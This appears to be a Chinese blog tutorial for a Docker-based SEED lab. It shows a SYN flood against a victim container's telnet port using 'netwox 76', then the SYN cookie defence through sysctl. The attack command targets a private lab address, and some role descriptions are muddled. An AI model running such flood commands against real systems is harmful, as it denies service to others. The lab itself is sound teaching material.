docker模拟Dos_SYN Flood拒绝服务攻击 (Ubuntu20.04)

目录

[✅ 一、实验环境准备(3 个终端)](#✅ 一、实验环境准备(3 个终端))

[👉 所以最终推荐做法:](#👉 所以最终推荐做法:)

[2️⃣ 配置 seed-attacker 为攻击者,开启 telnet 服务:](#2️⃣ 配置 seed-attacker 为攻击者,开启 telnet 服务:)

[3️⃣ 配置 victim-10.9.0.5 为受害者服务器,开启 telnet 客户端并监听:](#3️⃣ 配置 victim-10.9.0.5 为受害者服务器,开启 telnet 客户端并监听:)

[4️⃣ user1 作为观察用户,连接 victim-10.9.0.5 服务器:](#4️⃣ user1 作为观察用户,连接 victim-10.9.0.5 服务器:)

[5️⃣ 使用 netwox 工具对 victim-10.9.0.5 进行拒绝服务攻击:](#5️⃣ 使用 netwox 工具对 victim-10.9.0.5 进行拒绝服务攻击:)

完整流程总结:


✅ 一、实验环境准备(3 个终端)

第一个终端:docker 容器(作为攻击者)//这里是使用了docker

第二个终端:docker 容器(作为 server / 被攻击者)

第三个终端:docker 容器(作为 user / 观察者)

✅ 正确的实验结构:

👉 具体做法:

1,VM,

2,SEED_Ubuntu20.04

3. Labsetup.zip

下载Labsetup.zip并解压

解压Labsetup.zip

进入Labsetup目录打开终端构建容器

防止构建新容器冲突先把以前下载旧的容器关掉小技巧(以后你每次可以这么操作):

执行:

java 复制代码
docker-compose down --remove-orphans
docker container prune -f
docker network prune -f
docker-compose up --build -d

docker ps再次查看当前运行的容器

使用如下命令创建并开启一个新容器(会立即进入新的交互界面)

docker run -it --name=user --privileged 镜像名称 /bin/bash

如果你想删掉容器

cs 复制代码
docker stop user user1 #停两个容器user user1
docker rm user user1 #删两个容器user user1
docker ps -a #查看所有容器
docker ps #查看运行容器

以最高权限进入容器 user1-10.9.0.6

1️⃣ 获取最高权限进入 seed-attacker, victim-10.9.0.5, 和 user1 终端:

在每个终端上,你可以使用 docker exec 命令来进入并获取最高权限。使用以下命令:

cs 复制代码
docker exec -it --privileged seed-attacker /bin/bash
docker exec -it --privileged victim-10.9.0.5 /bin/bash
docker exec -it --privileged user1-10.9.0.6 /bin/bash

2️⃣ 配置 seed-attacker 为攻击者,开启 telnet 服务:

进入 seed-attacker 容器后,使用以下命令安装并启动 telnet 服务:

cpp 复制代码
# 更新系统
apt update && apt upgrade -y

# 安装 telnet
apt install telnetd -y

# 启动 telnet 服务
service telnetd start

# 查看 telnet 服务是否在运行
ps aux | grep telnet

此时,seed-attacker 将成为攻击者。

3️⃣ 配置 victim-10.9.0.5 为受害者服务器,开启 telnet 客户端并监听:

进入 victim-10.9.0.5 容器后,执行以下命令来启动 telnet 客户端并监听:

cs 复制代码
# 更新系统
apt update && apt upgrade -y

# 安装 telnet 客户端
apt install telnet -y

# 启动 telnet 服务监听 23 端口
telnetd -debug -l /bin/login //usr/sbin/in.telnetd -debug 23


# 查看 telnet 服务状态
ps aux | grep telnet

# 检查23端口是否在监听
netstat -tuln | grep :23

确保 telnet 服务已经在 23 端口运行。

4️⃣ user1 作为观察用户,连接 victim-10.9.0.5 服务器:

进入 user1-10.9.0.6 容器后,执行以下命令连接到 victim-10.9.0.5

cs 复制代码
# 使用 telnet 连接到 victim 服务器(假设 IP 为 10.9.0.5)
telnet 10.9.0.5

用户退出tlenet

5️⃣ 使用 netwox 工具对 victim-10.9.0.5 进行拒绝服务攻击:

seed-attacker 容器中,使用 netwox 工具进行拒绝服务攻击,命令如下:

cs 复制代码
# 安装 netwox(如果未安装)
apt update && apt install netwox -y

# 使用 netwox 工具对 victim 进行拒绝服务攻击
netwox 76 -i 10.9.0.5 -p 23

这会利用 netwox 76 发起针对 victim-10.9.0.5 服务器的 DoS 攻击,攻击目标是 telnet 服务(端口 23)。攻击成功后,victim-10.9.0.5 将无法接受新的连接。

👉观察

发起攻击后,用户再次tlenet 服务端

好了,已经无法服务

抓包看流量,流量瞬间登顶!

关闭攻击流量下降

👉完整流程总结:

  1. 进入所有三个终端并获取 --privileged 权限。
  2. seed-attacker 上启动 telnet 服务,作为攻击者。
  3. victim-10.9.0.5 上启动 telnet 客户端并监听,作为受害者。
  4. user1-10.9.0.6 上连接到 victim-10.9.0.5 以观察。
  5. 使用 netwox 工具从 seed-attacker 发起拒绝服务攻击。

👉SYN-Flooding 防御

首先,你需要登录到 victim-10.9.0.5 这个机器,然后检查当前系统是否启用了 SYN Cookie 机制。你可以使用以下命令:

cs 复制代码
sysctl -a | grep cookie

这将显示系统是否有关于 SYN Cookie 的设置。如果没有输出,说明默认设置没有显示 SYN Cookie。

为了防止 SYN Flooding 攻击,首先需要开启 SYN Cookie。通过以下命令启用 SYN Cookie :

cs 复制代码
sysctl net.ipv4.tcp_syncookies=1

这将开启 SYN Cookie 机制,用于防御 SYN Flooding 攻击。

启用 SYN Cookie 后,你可以再次运行以下命令,验证它是否生效:

cs 复制代码
sysctl -a | grep cookie

如果设置正确,应该能看到 net.ipv4.tcp_syncookies = 1

4. 再次发起 SYN Flooding 攻击

在另外一个容器( seed-attacker)上,再次使用 netwox 工具发起 SYN Flooding 攻击:

cs 复制代码
netwox 76 -i victim-ip -p 23

这里,victim-ipvictim-10.9.0.5 的 IP 地址,-p 23 表示攻击目标是 23 端口。

5. 监控结果

  • 启用 SYN Cookie 后 ,攻击应该被有效防御,victim-10.9.0.5 仍然能够正常响应其他连接请求,因为 SYN Cookie 会防止 SYN 请求消耗过多资源。
  • 关闭 SYN Cookie 后 (通过执行 sysctl net.ipv4.tcp_syncookies=0),victim-10.9.0.5 将暴露于攻击之下,容易受到 SYN Flooding 攻击,可能导致服务崩溃或者无法响应。

如果你希望测试没有启用 SYN Cookie 时的情况,可以禁用 SYN Cookie:

cs 复制代码
sysctl net.ipv4.tcp_syncookies=0

然后,重新发起攻击,你会看到服务器无法承受大量的 SYN 请求,导致服务不可用。

7. 总结

  • SYN Cookie 原理:SYN Cookie 是一种让服务器不立即分配资源,而是在验证客户端请求是否合法时才分配资源的方法。这样可以防止攻击者占用过多的资源,从而有效缓解 SYN Flooding 攻击。
  • 启用 SYN Cookie 的效果:启用后,攻击者无法成功完成连接建立,服务器依然能保持正常工作。

通过启用 SYN Cookie,victim-10.9.0.5 就能够有效防止 SYN Flooding 攻击,保持其稳定性。

👉实验原理

其实很简单,就是我(攻击者)用工具在1s种内想web服务器发起几十万上百万个请求,网站服务器资源没有被释放一直被不断的占用占用,我占用完了,导致别人请求网站的时候没资源用了被服务器拒绝服务。这是就是所谓的dos攻击。

细一个的话,三次握手的过程,自己去看。

相关推荐
dalerkd4 小时前
忙里偷闲叙-谈谈最近两年
网络·安全·web安全
菩提小狗7 小时前
Sqlmap双击运行脚本,双击直接打开。
前端·笔记·安全·web安全
上海云盾第一敬业销售10 小时前
CC防护最佳实践:架构解析与实战经验
安全·ddos
菩提小狗12 小时前
SQL注入之sqlmap|web安全|渗透测试|网络安全
数据库·sql·web安全
zhengfei61113 小时前
【Slack 安全工具箱】—— 多维度一体化安全管理平台
网络·安全·web安全
菩提小狗14 小时前
sqlmap输入命令回车自动退出故障排查
笔记·安全·web安全
军哥系统集成号14 小时前
2026网络安全法修订落地:企业六类法定强制评估合规指南(附协同实施路径)
网络·安全·web安全
晓幂1 天前
【2025】HECTF
笔记·学习·web安全
上海云盾-高防顾问1 天前
中小企业低成本渗透测试实操指南
网络协议·web安全·网络安全
Bug.ink1 天前
BUUCTF——WEB(7)
web安全·网络安全·buuctf